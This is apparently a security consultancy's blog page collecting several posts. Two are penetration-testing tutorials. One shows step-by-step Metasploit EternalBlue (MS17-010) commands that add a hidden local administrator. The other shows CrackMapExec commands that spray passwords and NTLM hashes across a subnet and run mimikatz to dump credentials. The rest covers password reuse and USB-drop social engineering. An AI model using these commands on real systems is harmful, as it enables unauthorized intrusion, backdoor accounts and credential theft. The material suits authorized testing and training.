A Guide to Exploiting MS17-010 With Metasploit

Ever since MS17-010 made headlines and the Metasploit exploit came out, it has been mostly good news for penetration testers and corporate red teams. I'm not going to cover the vulnerability or how it came about as that has been beat to death by hundreds of people since March. The purpose of this post is to share some tricks that I have used to get this exploit to be more reliable. For those not aware, you can view the metasploit exploit via Rapid7 at the following link.

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

 Being a penetration tester, I've encountered numerous instances of the vulnerability across many different networks. From my experience, this is what I have found. 

• Sometimes the exploit will work
• Sometimes the exploit will cause the machine to BSOD (blue screen of death)
• Sometimes the exploit will execute, but nothing will happen.

I have tried using both meterpreter and native bind and reverse shells, tcp, http, https, etc. It has been very flaky for me over the course of the last 5 or so months. 

I have, however, found that using the following method/killchain to be the fastest and most reliable method to leverage this vulnerability and metasploit exploit. First, you are going to need to use the exploit. To do this, type

use exploit/windows/smb/ms17_010_eternablue

If this doesn't work, chances are you need to update your metasploit instance. I usually just run an apt-get update && upgrade to get everything upgraded if that happens. The more the merrier!

Now, instead of using the default meterpreter/reverse_tcp payload, you are going to set your payload to something that is a little less popular and often overlooked. The exec payload. What this payload does is execute a command on the machine. This can be anything from a reverse shell via powershell, launchng the calculator, killing minesweeper...you get the drift.

set payload windows/x64/exec

What I use this payload for is to add a local administrator to the machine. This is a two part process. I know you can chain the command in Windows, however, I have found limited success in doing that. I use this as the first part of the command.

set cmd net user NewAdmin SuperDuperPass1 /add

set rhost 192.168.1.1

Where:

• NewAdmin is the name of the new local administrative account we are adding to the machine. 
• SuperDuperPass1 is the password to the new local admin account we are adding to the machine. 
• RHOST is the machine being targeted

When you run this exploit, it will appear to fail (what metasploit tells you), however, you can try logging into the machine using msf login_scanner or other methods, and what you will often find is your new account has been added to the machine! Awesome. Now, all you have to do is re-run the exploit but use the following as the CMD argument.

set cmd net localgroup "administrators" NewAdmin /add

When you run this exploit, the account will be added to the local administrative group, which will allow you to use psexec to gain administrative access to the machine and get the goods!

CrackMapExec - The Greatest Tool You've Never Heard Of

So about a month back I started posting what we thought would be "weekly" security tutorials/thoughts/ideas, however the last month has been insane for us at SNT. I finally had time to break away and even more time to think about what I wanted my "comeback post" to be about. I stumbled across this little lightweight tool some time ago and thought this would be the perfect opportunity to explain how I use it in a penetration test how it helps get the goods. 

So first off, credit where credit is due, this tool is an awesome little project by byt3bl33d3r who has some great tools and programs under his belt. I suggest you take a look at his Github page and play around with some of his projects. They are a godsend to penetration testers. https://github.com/byt3bl33d3r

Okay, now that that is out of our system, it's time to dig in with CrackMapExec (CME). Installing the tool could not be simpler. Run the following on your kali linux command line. If this fails, i suggest pulling it from Github and installing it that way. 

apt-get install crackmapexec

If it doesn't install using the above command, I recommend doing an "apt-get update && apt-get upgrade" to make sure you have the latest and greatest packages from OffSec and the Kali squad.

I've found this tool incredibly useful for the following areas. 

Finding Local Admin Rights Across A Network - So, the "old" way I was doing this was using metasploits auxiliary/scanner/smb/smb_login script once I obtained local administrator username/hashes. Although this script has worked wonderfully for as long as I can remember, all it can do is scan where the user might have local administrator rights. CrackMapExec is like MSF's smb_login, but on steroids. 

Running Mimikatz on an entire range - So, once I had local admin rights to numerous machines on the network due to shared local admin accounts, the next challenge I had was finding that elusive logged in domain administrator or stealing the juicy password from memory. There a ton of different ways you finagle this in metsploit or some other framework, however, I always found every way to be somewhat clunky and not incredible reliable. Sure, SMBexec is one tool that can do "similar" things, however, installing that and having it work has become cumbersome lately. SMBexec is not the most lightweight tool in the world and if I'm on a pentest with a new VM or don't have the time (probably more of a patience than time thing) it can ruin your day and pentesting momentum. Sometimes that can be hard to come by. 

Also, like others have said before me, bombing mimikatz on a /24 is the most satisfying thing in the world.  CME can do this - and then some!

The Database

One of the coolest things about this tool is that it logs everything to a database. This is insanely helpful when you stumble across numerous credentials/hashes or have a ton of shell windows open at once and you accidentally close out of that *one* window. It logs everything to a nice database which you can access by typing "cmedb". It's reminiscent of a core impact-esque database that houses these username and password combinations during a penetration test. 

My Usage

During a penetration test, I use numerous tools to map the network in various ways. Some can be using active directory or null sessions, others can be using masscan/nmap to see whats alive, etc. I've found CME to be useful because it can map the network rather quickly and also saves it to a database. To do this, I generally perform the following command.

crackmapexec smb 192.168.1.1/24

*Note: Depending on how you installed CME, you may have to type "cme" or "crackmapexec" to run the tool. YMMV.

The output of the command should looks something like the following.

Host Discovery with CME

The above results were on my lab network, which I have a HP printer and a windows workstation. 

The next step is to start feeding CME some username and password/hash combinations so that it can work its magic and do the dirty work for us. To do this, you are going to want to use the following commands. 

crackmapexec smb 192.168.1.1/24 -u CoolAdmin -p ARealGoodPassword 

Seeing where "CoolAdmin" can login

Sweet. We found that CoolAdmin can log into the device at 192.168.1.188! But it looks like he can just login, and he doesn't have any local admin rights on the machine. What a bummer.

Lucky for us, we happen to have the local administrative username and password for the local admin "Administrator". We will run the command above again, except this time we are going to use the local hash. In this case, I have included both the LM and NTLM values, you can of course skate by with just the NTLM value. The usage for a username and hash combination is shown below.

crackmapexec smb 192.168.1.1/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B

Now, you will know you have local administrative rights to the machine(s) because CME has possibly the greatest way of telling you. Pwn3d!

Get Pwn3d!

Ideally, from a penetration testing point of view and what makes me excited is running this tool on a network range and seeing hundreds of those little yellow words of decimation.

The next thing you are going to want to do is run mimikatz across that whole range to extract any passwords that may be hanging out in memory. To do this with CME, you run the following command. Note that I'm switching back to -p for a plaintext password, if you have a hash, just substitute it for the -H value as shown above. 

crackmapexec smb 192.168.1.1/24 -u Administrator -p Password1 -M mimikatz

By default, this should run the equivalent to "sekurlsa::logonpasswords" via mimikatz. The results are shown below.

Getting the goods!

I suggest you read the CME documentation and look at some of the other amazing things this tool can do and automate penetration testing. Hope you enjoyed this!

Facebook Surveys - Can You Trust Them?

James Carroll, OSCP - an information security engineer at Secure Network Technologies was recently features on News Channel 3, commenting on the privacy of Facebook surveys and how a little due diligence can go a long way.

Digital Personal Assistants Raise Privacy Concerns

Eric Fiske, OSCP - an information security engineer at Secure Network Technologies was recently featured on News Channel 3, commenting on the security of cloud and home automation devices such as the Amazon Echo and Google Home. 

http://cnycentral.com/news/local/digital-personal-assistants-raise-privacy-questions

The LinkedIn Breach: Why You Should Care

Just this week multiple media outlets reported over 129 million LinkedIn passwords being sold on the darkweb, stemming from a breach that occurred in 2012.  Although LinkedIn has implemented automated security precautions, such as blocking login attempts from a suspicious locations, e-mailing PINS, etc. - this breach is still a huge deal. The passwords are very easily accessible in plaintext through various sources that don’t require the dark web (I won’t share them here, if you are curious do a quick google search). Just yesterday, Forbes.com reported that LinkedIn has began resetting users passwords that haven’t been changed since 2012 to help thwart potential account compromises. The problem is that – this is only the tip of the iceberg.

One thing I know and many security professionals know for a fact is that users HATE passwords. Therefore, users will re-use the same password for multiple services. Let’s say your name is Ray Reddington (I do love the blacklist), you were involved in the great LinkedIn data breach of 2012, and your account credentials are now plastered all over the dark web for the pickings. Roman and his hacking buddies have targeted you (or your organization), and the data looks something like this.

Username: Ray.Reddington@blacklist.com

password: IL0veLiz

Because of LinkedIn’s diligent efforts to protect your security, they have conveniently reset your password, which you have changed by now. Good game, uber hackers!

Not so fast.

The hackers have located Blacklist Enterprises email portal, located at webmail.blacklist.com, which you use the same password for! Sure – you changed your LinkedIn password, but did you change your company email password? Your remote access or VPN password? If I breached your email account, how many changed passwords could I reset? Well, you use that e-mail for you LinkedIn account, banking account, online payment and benefits portal..you get my point.

Now, your account and possibly your corporate network has been owned because of LinkedIn, a classic example of some pwnage-by-proxy! So, what can you as a user do to help prevent this?

• Use complex passwords (or passphrases)
  • The more complex, generally the harder to break. If an attacker does compromise a site such as LinkedIn, and your account is protected with a strong password, it will not be cracked, therefore your account is not in immediate danger.
• Use different passwords for each service
  • Re-using passwords is something that has plagued and will continue to plague the security industry. By using different passwords for each service, it ensures that if one service is breached (such as LinkedIn), an attacker will not be able to access services such as your webmail with the same username/password combination.
• Really..make that password different
  • Using the example above, changing the password to IL0veLiz1 will not cut it, and a motivated attacker will step right through it. Maybe something like Liz1sN0TD3AD!LOL?. 

A good resource to bench how secure your password may be can be found at www.howsecureismypassword.net. According to howsecureismypassword, IL0veLiz1 will be cracked in about 4 days, whereas Liz1sN0TD3AD!LOL? Will take about 4 Quadrillion Years (yes, that’s the actual metric).

10 Years of Human Hacking

10 Years Of Human Hacking: How ‘The USB Way’ Evolved

After a decade of clicking without consequence, users still haven't gotten the message about the dangers of rogue USB devices with malware hidden inside.

When my piece "Social Engineering the USB Way" ran in 2006, the intent was to create awareness about endpoint security and how plugging something into your computer could result in severe consequences. As a penetration tester, I hoped those who became victim to the exploit would learn a valuable lesson. Since then, my company has performed hundreds of similar tests, tempting users with USB devices in numerous ways. Needless to say, the results were always interesting.

As users started to become educated about rogue USB drives, we changed the rules by purchasing memory sticks branded with their company name and logo. Sometimes we attached them with a lanyard also printed with the corporate insignia. In some cases, we placed them on the desks of individual users, and in other instances, we physically mailed them to the individual. In all scenarios, users still plugged the devices in and ran whatever exploit we stored on the drive. 

When our ability to place devices in the hands of users became a problem we focused on different delivery methods. Rather than trying to drop them on their desks or mail them to users, we shipped bulk packages. In some cases, we sent hundreds of corporate-branded USB memory sticks to targeted departments within a company. We would often place a note in the package, instructing the recipient that these devices were approved by the information technology department and should be distributed to all employees. In almost every instance, they always complied with our request. 

One particular test was very interesting. Our client had been monitoring two packages that had been unopened for several weeks. We shipped one parcel to his West Coast operation and another to his office in the east. 

Our client’s frustration would soon be replaced by panic. I called him to get the status on the West Coast parcel when he explained that he could not find it. While scouring the building, he entered the commissary to see almost every employee wearing our poisoned USB devices and customized lanyards around their necks. Like a mad man, he started going from person to person, tearing them off. 

When I asked about the East Coast package, our client indicated the situation was worse. His East Coast counterpart was watching that package and noticed it had gone missing. They investigated the disappearance, and learned the marketing group had taken our poisoned parcel of USB devices to a well-known industry trade show as free swag for their booth. Fortunately, everything was collected before the attendees of the show were given any of the infected trinkets.

Our social engineering testing began to morph into a physiological experiment. As users clicked on our poisoned thumb drive content, we began displaying a command prompt indicating, “You should not have done that.” Within the prompt, we would also display their IP address, machine name, user name, and our signature logo of a skull-and-cross keyboards. The content displayed would also be sent to the IT department. Our goal was to see if they would call IT in hopes of admitting they had done something that could be a problem for their employer. 

Our results were surprising. We learned that users in a variety of company positions rarely ever called IT about our message. We also found they would repeat their actions. In one case, a VP at a major company clicked on our exploit multiple times to display our message, yet he never called IT!  When the opportunity prevailed, we asked users why they didn’t alert IT.  Only one answer seemed to be genuine. The user responded by saying, “As long as the machine seemed to be functioning fine, why should I bother calling IT?" 

Our user’s honest comment was frightening, but made sense. Why get a tongue-lashing by IT for not following policy if everything was OK? Clicking without consequence clearly has been learned by users.  Although with a plague of CryptoLocker malware becoming more and more prevalent, I suspect this behavior will be changing quickly. Unfortunately, the poor IT guys will be forced to deal with the burden of restoring users machines from backups, or converting dollars to Bitcoin to meets the capture demands.

-Steve Stasiukonis

Managing Partner

Secure Network Technologies, Inc